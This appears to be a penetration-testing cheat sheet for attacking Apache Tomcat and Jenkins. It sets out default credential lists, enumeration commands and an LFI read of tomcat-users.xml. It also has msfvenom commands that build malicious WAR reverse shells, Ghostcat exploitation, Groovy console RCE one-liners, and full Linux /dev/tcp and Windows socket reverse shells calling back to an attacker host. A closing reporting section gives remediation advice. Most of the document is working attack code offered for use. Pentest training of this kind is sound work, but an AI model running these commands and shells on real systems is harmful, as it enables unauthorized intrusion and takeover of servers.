πŸ›‘οΈ Methodology Checklist

  • Tomcat: check version at /RELEASE-NOTES or manager app
  • Default creds: tomcat/tomcat, admin/admin, tomcat/s3cret
  • Manager app upload WAR: msfvenom -p java/jsp_shell_reverse_tcp ... -f war -o shell.war
  • Jenkins: check /script console (Groovy RCE)
  • Jenkins default: admin/admin or admin/[INSTANCE_ID]
  • Jenkins pipeline script: def cmd = "id".execute(); println cmd.text
  • Enumerate Jenkins credentials store for stored secrets

🎯 Operational Context

Use when: Apache Tomcat or Jenkins identified β€” default creds for manager panel, WAR file deployment for RCE (Tomcat), or Groovy script console execution (Jenkins). Think Dumber First: Tomcat: admin/admin, tomcat/s3cret, tomcat/tomcat on /manager/html. If any work, upload malicious WAR = instant RCE. Jenkins: /script endpoint with Groovy console if authenticated. println 'id'.execute().text. Skip when: No web panel access and no credential vector β€” check for CVEs like Ghostcat (AJP connector) instead.


⚑ Tactical Cheatsheet

CommandTactical Outcome
nmap -sV -p 8009,8080,8180,8443 [TARGET_IP]Scan Tomcat ports (AJP 8009, HTTP 8080/8180, HTTPS 8443)
curl -s http://[TARGET_IP]:[PORT]/invalidTrigger 404 β†’ leak Tomcat version in error page
curl -s http://[TARGET_IP]:[PORT]/docs/ | grep TomcatAlternative version leak via docs page
curl -s http://[TARGET_IP]:[PORT]/[LFI]?file=/usr/local/tomcat/conf/tomcat-users.xmlLFI to steal Tomcat credentials (plaintext)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f war > shell.warGenerate malicious WAR file
curl http://[TARGET_IP]:[PORT]/shell/ β†’ nc -lvnp [LPORT]Trigger deployed WAR β†’ catch reverse shell
python2.7 tomcat-ajp.lfi.py [TARGET_IP] -p 8009 -f WEB-INF/web.xmlGhostcat (CVE-2020-1938) β€” LFI via AJP port 8009
nmap -sV -sC -p 8000,8080,5000 [TARGET_IP]Scan Jenkins ports (web 8080/8000, agent 5000)
curl -i http://jenkins.[DOMAIN]:[PORT]/scriptAccess Jenkins Script Console (check if unauth)
def proc = "id".execute(); proc.waitFor(); println proc.in.textJenkins Groovy RCE β€” Linux id check
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[LHOST]/[LPORT];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor()Jenkins Groovy reverse shell β€” Linux
def cmd = "cmd.exe /c whoami".execute(); println("${cmd.text}")Jenkins Groovy RCE β€” Windows

πŸ”¬ Deep Dive & Workflow

Tomcat Architecture

Key paths:
/manager/html          β†’ GUI (requires manager-gui role)
/host-manager/html     β†’ Virtual host management
conf/tomcat-users.xml  β†’ Credentials in plaintext
WEB-INF/web.xml        β†’ App routes + class mappings

Role hierarchy: manager-gui > manager-script > manager-jmx > manager-status (read-only, cannot upload WAR)

Tomcat WAR Shell Deployment

1. Generate WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f war > shell.war
2. Navigate to http://[TARGET]:[PORT]/manager/html
3. Scroll to "WAR file to deploy" β†’ browse β†’ select shell.war β†’ Deploy
4. Start listener: nc -lvnp [PORT]
5. Trigger: curl http://[TARGET]:[PORT]/shell/
   (WAR name = URL path: shell.war β†’ /shell/)

Default creds to try: tomcat:tomcat, admin:admin, tomcat:s3cret, admin:password

MSF Quick Reference (Tomcat)

ModulePurpose
auxiliary/scanner/http/tomcat_mgr_loginBrute force manager creds
multi/http/tomcat_mgr_uploadAutomate WAR upload + execution
auxiliary/admin/http/tomcat_ghostcatCheck Ghostcat (CVE-2020-1938)

Debug: set PROXIES HTTP:127.0.0.1:8080 to route MSF through Burp.

Jenkins Attack Flow

1. nmap β†’ find ports 8080/8000 (web) + 5000 (agent = Jenkins indicator)
2. Add to /etc/hosts: [IP] jenkins.[DOMAIN]
3. Browse to /script β€” sometimes accessible without auth
4. Default creds: admin:admin, admin:password, jenkins:jenkins
5. Script Console β†’ Groovy β†’ RCE (runs as root/SYSTEM)

Jenkins Groovy reverse shell (Linux):

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[LHOST]/[LPORT];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Escape $ in Groovy: Use \$ in bash loops β€” Groovy interprets bare $ as variable.

Jenkins Groovy reverse shell (Windows):

String host="[LHOST]";
int port=[LPORT];
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();po.flush();
    Thread.sleep(50);
    try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();s.close();

Use the Windows variant when the Jenkins controller runs on Windows β€” the Linux /dev/tcp shell won’t work there; this ProcessBuilder + Socket loop pipes cmd.exe over a raw socket instead.

Jenkins CVEs:

  • v2.137 β†’ CVE-2018-1999002 / CVE-2019-1003000 (pre-auth RCE)
  • Groovy Sandbox bypass β†’ CVE-2019-1003005

MSF: exploit/multi/http/jenkins_script_console


πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
Tomcat manager returns 403IP restriction on managerTry: /host-manager/html, or connect via AJP port 8009 (Ghostcat CVE-2020-1938)
WAR upload deploys but no shellWrong payload formatGenerate proper WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=[LHOST] LPORT=[LPORT] -f war > shell.war
Jenkins script console returns errorGroovy syntaxTest: println 'whoami'.execute().text β€” verify Groovy not Groovy++
Jenkins no script consoleOperator-level not adminCheck /manage for available admin pages; look for Execute Groovy script in Build step
Tomcat default creds exhaustedNon-default passwordCheck conf/tomcat-users.xml if file read available; or brute with tomcat-specific wordlists

πŸ“ Reporting Trigger

Finding Title: Tomcat/Jenkins Default Credentials Enable Authenticated RCE Impact: Default credentials on Tomcat Manager or Jenkins admin panel allow authenticated remote code execution via WAR deployment or Groovy script console, compromising the application server and all applications it hosts. Root Cause: Default credentials not changed on deployment. Admin interfaces publicly accessible without IP restriction. No MFA on admin panels. Recommendation: Change default credentials on all Tomcat and Jenkins deployments. Restrict Manager and admin interfaces to management network IPs. Implement MFA for Jenkins authentication. Disable unused admin features. Apply latest security patches.